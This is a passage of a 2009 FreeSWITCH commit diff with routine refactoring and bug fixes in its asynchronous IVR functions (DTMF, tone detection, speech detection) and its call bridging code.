+	
+	if ((status = switch_core_media_bug_add(session, record_callback, rh, to, flags, &bug)) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error adding media bug for file %s\n", file);
 		switch_core_file_close(fh);
 		return status;
@@ -965,23 +1045,26 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_inband_dtmf_session(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	switch_media_bug_t *bug;
 	switch_status_t status;
 	switch_inband_dtmf_t *pvt;
+	switch_codec_implementation_t read_impl = {0};
 
-	switch_assert(read_codec != NULL);
+    switch_core_session_get_read_impl(session, &read_impl);
 
 	if (!(pvt = switch_core_session_alloc(session, sizeof(*pvt)))) {
 		return SWITCH_STATUS_MEMERR;
 	}
 
-	teletone_dtmf_detect_init(&pvt->dtmf_detect, read_codec->implementation->actual_samples_per_second);
+	teletone_dtmf_detect_init(&pvt->dtmf_detect, read_impl.actual_samples_per_second);
 
 	pvt->session = session;
 
-	switch_channel_pre_answer(channel);
 
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if ((status = switch_core_media_bug_add(session, inband_dtmf_callback, pvt, 0, SMBF_READ_REPLACE, &bug)) != SWITCH_STATUS_SUCCESS) {
 		return status;
 	}
@@ -1054,17 +1137,16 @@
 {
 	switch_inband_dtmf_generate_t *pvt = (switch_inband_dtmf_generate_t *) user_data;
 	switch_frame_t *frame;
-	switch_codec_t *read_codec;
+	switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(pvt->session, &read_impl);
 
-	read_codec = switch_core_session_get_read_codec(pvt->session);
-
 	switch (type) {
 	case SWITCH_ABC_TYPE_INIT:
 		{
 			switch_queue_create(&pvt->digit_queue, 100, switch_core_session_get_pool(pvt->session));
 			switch_buffer_create_dynamic(&pvt->audio_buffer, 512, 1024, 0);
 			teletone_init_session(&pvt->ts, 0, teletone_dtmf_generate_handler, pvt->audio_buffer);
-			pvt->ts.rate = read_codec->implementation->actual_samples_per_second;
+			pvt->ts.rate = read_impl.actual_samples_per_second;
 			pvt->ts.channels = 1;
 			switch_mutex_init(&pvt->mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(pvt->session));
 			switch_core_event_hook_add_recv_dtmf(pvt->session, generate_on_dtmf);
@@ -1115,6 +1197,7 @@
 				}
 				pvt->ts.duration = duration;
 				teletone_run(&pvt->ts, buf);
+				free(pop);
 			}
 
 			if (switch_buffer_inuse(pvt->audio_buffer) && (bytes = switch_buffer_read(pvt->audio_buffer, frame->data, frame->datalen))) {
@@ -1161,7 +1244,9 @@
 	switch_status_t status;
 	switch_inband_dtmf_generate_t *pvt;
 
-	status = switch_channel_pre_answer(channel);
+	if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	if (!switch_channel_media_ready(channel) || !switch_core_session_get_read_codec(session)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not install inband dtmf generate.  Media not enabled on channel\n");
@@ -1208,6 +1293,7 @@
 	int index;
 	switch_media_bug_t *bug;
 	switch_core_session_t *session;
+	int bug_running;
 } switch_tone_container_t;
 
 static switch_bool_t tone_detect_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
@@ -1219,6 +1305,9 @@
 
 	switch (type) {
 	case SWITCH_ABC_TYPE_INIT:
+		if (cont) {
+			cont->bug_running = 1;
+		}
 		break;
 	case SWITCH_ABC_TYPE_CLOSE:
 		break;
@@ -1232,9 +1321,7 @@
 			} else {
 				frame = switch_core_media_bug_get_write_replace_frame(bug);
 			}
-
-
-
+			
 			for (i = 0; i < cont->index; i++) {
 
 				if (cont->list[i].sleep) {
@@ -1254,9 +1341,9 @@
 				}
 				
 				if (!cont->list[i].up) skip = 1;
+				
+				if (skip) return SWITCH_TRUE;
 
-				if (skip) return SWITCH_TRUE;
-				
 				if (teletone_multi_tone_detect(&cont->list[i].mt, frame->data, frame->samples)) {
 					switch_event_t *event;
 					cont->list[i].hits++;
@@ -1269,12 +1356,15 @@
 					if (cont->list[i].hits >= cont->list[i].total_hits) {
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "TONE %s DETECTED\n", cont->list[i].key);
 						cont->list[i].up = 0;
-						if (cont->list[i].once) {
-							rval = SWITCH_FALSE;
-						}
-
+						
 						if (cont->list[i].callback) {
-							rval = cont->list[i].callback(cont->session, cont->list[i].app, cont->list[i].data);
+							if ((rval = cont->list[i].callback(cont->session, cont->list[i].app, cont->list[i].data)) == SWITCH_TRUE) {
+								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Re-enabling %s\n", cont->list[i].key);
+								cont->list[i].up = 1;
+								cont->list[i].hits = 0;
+								cont->list[i].sleep = 0;
+								cont->list[i].expires = 0;								
+							}
 						} else if (cont->list[i].app) {
 							if (switch_event_create(&event, SWITCH_EVENT_COMMAND) == SWITCH_STATUS_SUCCESS) {
 								switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-command", "execute");
@@ -1285,6 +1375,10 @@
 							}
 						}
 
+						if (cont->list[i].once) {
+							rval = SWITCH_FALSE;
+						}
+						
 						if (switch_event_create(&event, SWITCH_EVENT_DETECTED_TONE) == SWITCH_STATUS_SUCCESS) {
 							switch_event_t *dup;
 							switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Detected-Tone", cont->list[i].key);
@@ -1308,6 +1402,11 @@
 	default:
 		break;
 	}
+
+	if (rval == SWITCH_FALSE) {
+		cont->bug_running = 0;
+	}
+
 	return rval;
 }
 
@@ -1315,9 +1414,13 @@
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_tone_container_t *cont = switch_channel_get_private(channel, "_tone_detect_");
+	int i = 0;
 
 	if (cont) {
 		switch_channel_set_private(channel, "_tone_detect_", NULL);
+		for (i = 0; i < cont->index; i++) {
+			cont->list[i].up = 0;
+		}
 		switch_core_media_bug_remove(session, &cont->bug);
 		return SWITCH_STATUS_SUCCESS;
 	}
@@ -1327,20 +1430,21 @@
 SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
 															   const char *key, const char *tone_spec,
 															   const char *flags, time_t timeout, 
-															   int hits, const char *app, const char *data, 
+															   int hits, 
+															   const char *app, const char *data, 
 															   switch_tone_detect_callback_t callback)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	switch_status_t status;
 	switch_tone_container_t *cont = switch_channel_get_private(channel, "_tone_detect_");
 	char *p, *next;
 	int i = 0, ok = 0;
 	switch_media_bug_flag_t bflags = 0;
 	const char *var;
+	switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
-	switch_assert(read_codec != NULL);
-
+	
 	if (switch_strlen_zero(key)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Key Specified!\n");
 		return SWITCH_STATUS_FALSE;
@@ -1353,9 +1457,9 @@
 		}
 
 		for (i = 0; i < cont->index; i++) {
-			if (!switch_strlen_zero(cont->list[cont->index].key) && !strcasecmp(key, cont->list[cont->index].key)) {
+			if (!switch_strlen_zero(cont->list[i].key) && !strcasecmp(key, cont->list[i].key)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Re-enabling %s\n", key);
-				cont->list[cont->index].up = 1;
+				cont->list[i].up = 1;
 				cont->list[i].hits = 0;
 				cont->list[i].sleep = 0;
 				cont->list[i].expires = 0;
@@ -1416,11 +1520,14 @@
 	cont->list[cont->index].total_hits = hits;
 
 	cont->list[cont->index].up = 1;
-	cont->list[cont->index].mt.sample_rate = read_codec->implementation->actual_samples_per_second;
+	memset(&cont->list[cont->index].mt, 0, sizeof(cont->list[cont->index].mt));
+	cont->list[cont->index].mt.sample_rate = read_impl.actual_samples_per_second;
 	teletone_multi_tone_init(&cont->list[cont->index].mt, &cont->list[cont->index].map);
 	cont->session = session;
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	cont->list[cont->index].default_sleep = 25;
 	cont->list[cont->index].default_expires = 250;
@@ -1446,7 +1553,7 @@
 		if (strchr(flags, 'o')) {
 			cont->list[cont->index].once = 1;
 		}
-
+		
 		if (strchr(flags, 'r')) {
 			bflags |= SMBF_READ_REPLACE;
 		} else if (strchr(flags, 'w')) {
@@ -1454,11 +1561,18 @@
 		}
 	}
 	
-	if ((status = switch_core_media_bug_add(session, tone_detect_callback, cont, timeout, bflags, &cont->bug)) != SWITCH_STATUS_SUCCESS) {
-		return status;
+	if (cont->bug_running) {
+		status = SWITCH_STATUS_SUCCESS;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s bug already running\n", switch_channel_get_name(channel));
+	} else {
+		cont->bug_running = 1;
+		if ((status = switch_core_media_bug_add(session, tone_detect_callback, cont, timeout, bflags, &cont->bug)) != SWITCH_STATUS_SUCCESS) {
+			cont->bug_running = 0;
+			return status;
+		}
+		switch_channel_set_private(channel, "_tone_detect_", cont);
 	}
 
-	switch_channel_set_private(channel, "_tone_detect_", cont);
 	cont->index++;
 
 	return SWITCH_STATUS_SUCCESS;
@@ -1525,7 +1639,7 @@
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	dtmf_meta_data_t *md = switch_channel_get_private(channel, SWITCH_META_VAR_KEY);
-	time_t now = switch_timestamp(NULL);
+	time_t now = switch_epoch_time_now(NULL);
 	char digit[2] = "";
 	int dval;
 
@@ -1725,13 +1839,14 @@
 
 	sth->ready = 1;
 
-	while (switch_channel_ready(channel) && !switch_test_flag(sth->ah, SWITCH_ASR_FLAG_CLOSED)) {
+	while (switch_channel_up(channel) && !switch_test_flag(sth->ah, SWITCH_ASR_FLAG_CLOSED)) {
 		char *xmlstr = NULL;
 
 		switch_thread_cond_wait(sth->cond, sth->mutex);
 
-		if(switch_test_flag(sth->ah, SWITCH_ASR_FLAG_CLOSED))
+		if (switch_channel_down(channel) || switch_test_flag(sth->ah, SWITCH_ASR_FLAG_CLOSED)) {
 			break;
+		}
 
 		if (switch_core_asr_check_results(sth->ah, &flags) == SWITCH_STATUS_SUCCESS) {
 			switch_event_t *event;
@@ -1852,7 +1967,7 @@
 		break;
 	case SWITCH_ABC_TYPE_READ:
 		if (sth->ah) {
-			if (switch_core_media_bug_read(bug, &frame) == SWITCH_STATUS_SUCCESS) {
+			if (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
 				if (switch_core_asr_feed(sth->ah, frame.data, frame.datalen, &flags) != SWITCH_STATUS_SUCCESS) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Error Feeding Data\n");
 					return SWITCH_FALSE;
@@ -1914,14 +2029,14 @@
 	return SWITCH_STATUS_FALSE;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_load_grammar(switch_core_session_t *session, char *grammar, char *path)
+SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_load_grammar(switch_core_session_t *session, char *grammar, char *name)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
 	struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
 
 	if (sth) {
-		if (switch_core_asr_load_grammar(sth->ah, grammar, path) != SWITCH_STATUS_SUCCESS) {
+		if (switch_core_asr_load_grammar(sth->ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Error loading Grammar\n");
 			switch_core_asr_close(sth->ah, &flags);
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -1932,14 +2047,14 @@
 	return SWITCH_STATUS_FALSE;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_unload_grammar(switch_core_session_t *session, const char *grammar)
+SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech_unload_grammar(switch_core_session_t *session, const char *name)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
 	struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
 
 	if (sth) {
-		if (switch_core_asr_unload_grammar(sth->ah, grammar) != SWITCH_STATUS_SUCCESS) {
+		if (switch_core_asr_unload_grammar(sth->ah, name) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Error unloading Grammar\n");
 			switch_core_asr_close(sth->ah, &flags);
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -1952,43 +2067,43 @@
 
 SWITCH_DECLARE(switch_status_t) switch_ivr_detect_speech(switch_core_session_t *session,
 														 const char *mod_name,
-														 const char *grammar, const char *path, const char *dest, switch_asr_handle_t *ah)
+														 const char *grammar, const char *name, const char *dest, switch_asr_handle_t *ah)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 	switch_status_t status;
 	switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
 	struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
-
+	switch_codec_implementation_t read_impl = {0};
+	const char *p;
+	switch_core_session_get_read_impl(session, &read_impl);
+	
 	if (!ah) {
 		if (!(ah = switch_core_session_alloc(session, sizeof(*ah)))) {
 			return SWITCH_STATUS_MEMERR;
 		}
 	}
 
-	switch_assert(read_codec != NULL);
-
-	if ((switch_channel_get_variable(channel, "fire_asr_events"))) {
-		switch_set_flag(ah, SWITCH_ASR_FLAG_FIRE_EVENTS);
-	}
-
 	if (sth) {
-		if (switch_core_asr_load_grammar(sth->ah, grammar, path) != SWITCH_STATUS_SUCCESS) {
+		if (switch_core_asr_load_grammar(sth->ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Error loading Grammar\n");
 			switch_core_asr_close(sth->ah, &flags);
 			return SWITCH_STATUS_FALSE;
 		}
 
+		if ((p = switch_channel_get_variable(channel, "fire_asr_events")) && switch_true(p)) {
+			switch_set_flag(sth->ah, SWITCH_ASR_FLAG_FIRE_EVENTS);
+		}
+
 		return SWITCH_STATUS_SUCCESS;
 	}
 
 	if (switch_core_asr_open(ah,
 							 mod_name,
 							 "L16",
-							 read_codec->implementation->actual_samples_per_second, dest, &flags,
+							 read_impl.actual_samples_per_second, dest, &flags,
 							 switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
 
-		if (switch_core_asr_load_grammar(ah, grammar, path) != SWITCH_STATUS_SUCCESS) {
+		if (switch_core_asr_load_grammar(ah, grammar, name) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Error loading Grammar\n");
 			switch_core_asr_close(ah, &flags);
 			switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -2004,6 +2119,10 @@
 	sth->session = session;
 	sth->ah = ah;
 
+	if ((p = switch_channel_get_variable(channel, "fire_asr_events")) && switch_true(p)) {
+		switch_set_flag(ah, SWITCH_ASR_FLAG_FIRE_EVENTS);
+	}
+
 	if ((status = switch_core_media_bug_add(session, speech_callback, sth, 0, SMBF_READ_STREAM, &sth->bug)) != SWITCH_STATUS_SUCCESS) {
 		switch_core_asr_close(ah, &flags);
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -2147,7 +2266,7 @@
 	switch_ivr_broadcast(helper->uuid_str, helper->path, helper->flags);
 }
 
-SWITCH_DECLARE(uint32_t) switch_ivr_schedule_broadcast(time_t runtime, char *uuid, char *path, switch_media_flag_t flags)
+SWITCH_DECLARE(uint32_t) switch_ivr_schedule_broadcast(time_t runtime, const char *uuid, const char *path, switch_media_flag_t flags)
 {
 	struct broadcast_helper *helper;
 	size_t len = sizeof(*helper) + strlen(path) + 1;

Modified: freeswitch/branches/seven/src/switch_ivr_bridge.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr_bridge.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr_bridge.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_ivr_bridge.c -- IVR Library 
  *
@@ -153,9 +153,10 @@
 	}
 
 	if ((silence_var = switch_channel_get_variable(chan_a, "bridge_generate_comfort_noise"))) {
-		switch_codec_t *read_codec = NULL;
+		switch_codec_implementation_t read_impl = {0};
+		switch_core_session_get_read_impl(session_a, &read_impl);
 		
-		if (!(read_codec = switch_core_session_get_read_codec(session_a))) {
+		if (!switch_channel_media_ready(chan_a)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Channel has no media!\n");
 			goto end_of_bridge_loop;
 		}
@@ -172,8 +173,8 @@
 			if (switch_core_codec_init(&silence_codec,
 									   "L16",
 									   NULL, 
-									   read_codec->implementation->actual_samples_per_second, 
-									   read_codec->implementation->microseconds_per_packet / 1000,
+									   read_impl.actual_samples_per_second, 
+									   read_impl.microseconds_per_packet / 1000,
 									   1,
 									   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, 
 									   NULL, 
@@ -185,7 +186,7 @@
 				silence_frame.codec = &silence_codec;
 				silence_frame.data = silence_data;
 				silence_frame.buflen = sizeof(silence_data);
-				silence_frame.datalen = read_codec->implementation->decoded_bytes_per_packet;
+				silence_frame.datalen = read_impl.decoded_bytes_per_packet;
 				silence_frame.samples = silence_frame.datalen / sizeof(int16_t);
 			}
 		}
@@ -205,7 +206,7 @@
 			goto end_of_bridge_loop;
 		}
 
-		if ((b_state = switch_channel_get_state(chan_b)) >= CS_HANGUP) {
+		if ((b_state = switch_channel_down(chan_b))) {
 			goto end_of_bridge_loop;
 		}
 
@@ -249,7 +250,8 @@
 		}
 #endif
 
-		if (loop_count > DEFAULT_LEAD_FRAMES && bypass_media_after_bridge) {
+		if (loop_count > DEFAULT_LEAD_FRAMES && bypass_media_after_bridge && switch_channel_test_flag(chan_a, CF_ANSWERED) && 
+			switch_channel_test_flag(chan_b, CF_ANSWERED)) {
 			switch_ivr_nomedia(switch_core_session_get_uuid(session_a), SMF_REBRIDGE);
 			bypass_media_after_bridge = 0;
 		}
@@ -278,7 +280,7 @@
 			}
 		}
 
-		if (switch_core_session_dequeue_event(session_a, &event) == SWITCH_STATUS_SUCCESS) {
+		if (switch_core_session_dequeue_event(session_a, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 			if (input_callback) {
 				status = input_callback(session_a, event, SWITCH_INPUT_TYPE_EVENT, user_data, 0);
 			}
@@ -305,19 +307,34 @@
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n", switch_channel_get_name(chan_a));
 					goto end_of_bridge_loop;
 				}
-				ans_a++;
+				ans_a = 1;
 			} else if (!pre_b && switch_channel_test_flag(chan_b, CF_EARLY_MEDIA)) {
 				if (switch_channel_pre_answer(chan_a) != SWITCH_STATUS_SUCCESS) {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n", switch_channel_get_name(chan_a));
 					goto end_of_bridge_loop;
 				}
-				pre_b++;
+				pre_b = 1;
 			}
 			if (!pre_b) {
 				switch_yield(10000);
 				continue;
 			}
 		}
+
+		if (ans_a != ans_b) {
+			switch_channel_t *un = ans_a ? chan_b : chan_a;
+			
+			if (!switch_channel_test_flag(un, CF_OUTBOUND)) {
+				if (switch_channel_answer(un) != SWITCH_STATUS_SUCCESS) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n", switch_channel_get_name(un));
+					goto end_of_bridge_loop;
+				}
+				
+				if (ans_a) ans_b = 1; else ans_a = 1;
+			}
+		}
+		
+
 #ifndef SWITCH_VIDEO_IN_THREADS
 		if (switch_channel_test_flag(chan_a, CF_VIDEO) && switch_channel_test_flag(chan_b, CF_VIDEO)) {
 			/* read video from 1 channel and write it to the other */
@@ -397,7 +414,7 @@
 	}
 
 
-	if (switch_channel_get_state(chan_b) >= CS_HANGUP) {
+	if (switch_channel_down(chan_b)) {
 		if (originator && switch_channel_ready(chan_a) && !switch_channel_test_flag(chan_a, CF_ANSWERED)) {
 			switch_channel_hangup(chan_a, switch_channel_get_cause(chan_b));
 		}
@@ -408,7 +425,7 @@
 	msg.from = __FILE__;
 	switch_core_session_receive_message(session_a, &msg);
 
-	if (!inner_bridge && switch_channel_get_state(chan_a) < CS_HANGUP) {
+	if (!inner_bridge && switch_channel_up(chan_a)) {
 		if ((app_name = switch_channel_get_variable(chan_a, SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE))) {
 			switch_caller_extension_t *extension = NULL;
 			if ((extension = switch_caller_extension_new(session_a, app_name, app_name)) == 0) {
@@ -433,19 +450,33 @@
 	switch_core_session_reset(session_a, SWITCH_TRUE, SWITCH_TRUE);
 	switch_channel_set_variable(chan_a, SWITCH_BRIDGE_VARIABLE, NULL);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "BRIDGE THREAD DONE [%s]\n", switch_channel_get_name(chan_a));
-	if (!inner_bridge) {
-		switch_channel_clear_flag(chan_a, CF_BRIDGED);
-	}
+	switch_channel_clear_flag(chan_a, CF_BRIDGED);
 	switch_core_session_kill_channel(session_b, SWITCH_SIG_BREAK);
 	switch_core_session_rwunlock(session_b);
 	return NULL;
 }
 
+static void transfer_after_bridge(switch_core_session_t *session, const char *where)
+{
+	int argc;
+	char *argv[4] = { 0 };
+	char *mydata;
+	
+	if (!switch_strlen_zero(where) && (mydata = switch_core_session_strdup(session, where))) {
+		if ((argc = switch_separate_string(mydata, ':', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
+			switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No extension specified.\n");
+		}
+	}
+}
+
 static switch_status_t audio_bridge_on_exchange_media(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_ivr_bridge_data_t *bd = switch_channel_get_private(channel, "_bridge_");
 	switch_channel_state_t state;
+	const char *var;
 
 	if (bd) {
 		switch_channel_set_private(channel, "_bridge_", NULL);
@@ -464,27 +495,15 @@
 	
 	if (state < CS_HANGUP && switch_true(switch_channel_get_variable(channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
 		switch_ivr_park_session(session);
+	} else if (state < CS_HANGUP && (var = switch_channel_get_variable(channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
+		transfer_after_bridge(session, var);
 	} else {
 		if (!switch_channel_test_flag(channel, CF_TRANSFER) && !switch_channel_test_flag(channel, CF_REDIRECT) && bd && !bd->clean_exit 
 			&& state != CS_PARK && state != CS_ROUTING && !switch_channel_test_flag(channel, CF_INNER_BRIDGE)) {
 			switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
-			}
+		}
 	}
 	
-
-	if (switch_true(switch_channel_get_variable(channel, SWITCH_COPY_XML_CDR_VARIABLE))) {
-		switch_xml_t cdr;
-		char *xml_text;
-
-		if (switch_ivr_generate_xml_cdr(session, &cdr) == SWITCH_STATUS_SUCCESS) {
-			if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
-				switch_channel_set_variable_partner(channel, "b_leg_cdr", xml_text);
-				switch_safe_free(xml_text);
-			}
-			switch_xml_free(cdr);
-		}
-	}
-
 	if (switch_channel_get_state(channel) == CS_EXCHANGE_MEDIA) {
 		switch_channel_set_state(channel, CS_RESET);
 	}
@@ -523,6 +542,22 @@
 	/*.on_consume_media */ audio_bridge_on_consume_media,
 };
 
+static switch_status_t uuid_bridge_on_reset(switch_core_session_t *session);
+static switch_status_t uuid_bridge_on_hibernate(switch_core_session_t *session);
+static switch_status_t uuid_bridge_on_soft_execute(switch_core_session_t *session);
+
+static const switch_state_handler_table_t uuid_bridge_state_handlers = {
+	/*.on_init */ NULL,
+	/*.on_routing */ NULL,
+	/*.on_execute */ NULL,
+	/*.on_hangup */ NULL,
+	/*.on_exchange_media */ NULL,
+	/*.on_soft_execute */ uuid_bridge_on_soft_execute,
+	/*.on_consume_media */ uuid_bridge_on_hibernate,
+	/*.on_hibernate */ uuid_bridge_on_hibernate,
+	/*.on_reset */ uuid_bridge_on_reset
+};
+
 static switch_status_t uuid_bridge_on_reset(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
@@ -551,7 +586,7 @@
 	const char *other_uuid = NULL;
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s CUSTOM SOFT_EXECUTE\n", switch_channel_get_name(channel));
-	switch_channel_clear_state_handler(channel, NULL);
+	switch_channel_clear_state_handler(channel, &uuid_bridge_state_handlers);
 
 	if (!switch_channel_test_flag(channel, CF_ORIGINATOR)) {
 		return SWITCH_STATUS_SUCCESS;
@@ -562,7 +597,7 @@
 	if ((other_uuid = switch_channel_get_variable(channel, SWITCH_UUID_BRIDGE)) && (other_session = switch_core_session_locate(other_uuid))) {
 		switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
 		switch_event_t *event;
-		uint8_t ready_a, ready_b;
+		int ready_a, ready_b;
 		switch_channel_state_t state;
 
 		switch_channel_set_variable(channel, SWITCH_UUID_BRIDGE, NULL);
@@ -637,18 +672,6 @@
 	return SWITCH_STATUS_FALSE;
 }
 
-static const switch_state_handler_table_t uuid_bridge_state_handlers = {
-	/*.on_init */ NULL,
-	/*.on_routing */ NULL,
-	/*.on_execute */ NULL,
-	/*.on_hangup */ NULL,
-	/*.on_exchange_media */ NULL,
-	/*.on_soft_execute */ uuid_bridge_on_soft_execute,
-	/*.on_consume_media */ uuid_bridge_on_hibernate,
-	/*.on_hibernate */ uuid_bridge_on_hibernate,
-	/*.on_reset */ uuid_bridge_on_reset
-};
-
 static switch_status_t signal_bridge_on_hibernate(switch_core_session_t *session)
 {
 	switch_channel_t *channel = NULL;
@@ -668,6 +691,29 @@
 	switch_core_session_t *other_session;
 	switch_event_t *event;
 
+	if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE))) {
+		switch_channel_set_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
+	}
+
+	switch_channel_set_variable(channel, SWITCH_BRIDGE_VARIABLE, NULL);
+
+	if (uuid && (other_session = switch_core_session_locate(uuid))) {
+        switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+        const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
+
+        if (!switch_strlen_zero(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
+
+            switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
+            switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
+			
+            if (switch_channel_up(other_channel)) {
+                switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
+            }
+        }
+		
+        switch_core_session_rwunlock(other_session);
+    }
+	
 	if (switch_channel_test_flag(channel, CF_ORIGINATOR)) {
 		switch_channel_clear_flag(channel, CF_ORIGINATOR);
 		if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_UNBRIDGE) == SWITCH_STATUS_SUCCESS) {
@@ -675,29 +721,7 @@
 			switch_event_fire(&event);
 		}
 	}
-
-	if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE))
-		&& (other_session = switch_core_session_locate(uuid))) {
-		switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
-		const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
-		
-		if (!switch_strlen_zero(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
-			
-			switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
-
